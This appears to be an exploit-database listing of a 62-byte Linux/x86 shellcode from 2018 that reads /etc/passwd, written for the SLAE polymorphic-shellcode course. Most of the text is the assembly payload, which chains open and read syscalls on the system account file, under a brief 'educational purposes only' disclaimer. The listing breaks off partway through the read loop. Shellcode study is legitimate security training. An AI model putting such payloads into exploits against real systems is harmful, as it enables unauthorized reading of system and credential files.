Exploits / Vulnerability Discovered : 2018-05-10 |
Type : shellcode |
Platform : linux_x86
This exploit / vulnerability Linux/x86 read /etc/passwd shellcode (62 bytes) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
; Title : Linux/x86 - Read /etc/passwd Shellcode (62 bytes)
; Date : May, 2018
; Author : Nuno Freitas
; Blog Post : https://bufferoverflowed.wordpress.com/slae32/slae-32-polymorphing-shellcodes/
; Twitter : @nunof11
; SLAE ID : SLAE-1112
; Size : 62 bytes
; Tested on : i686 GNU/Linux
section .text
global _start
_start:
xor eax, eax
jmp two
one:
pop ebx
mov al, 0x5
int 0x80
mov esi, eax
jmp read
exit:
mov al, 0x1
xor ebx, ebx
int 0x80
read:
mov ebx, esi
mov al, 0x3
mov ecx, esp
mov dl, 0x01
int 0x80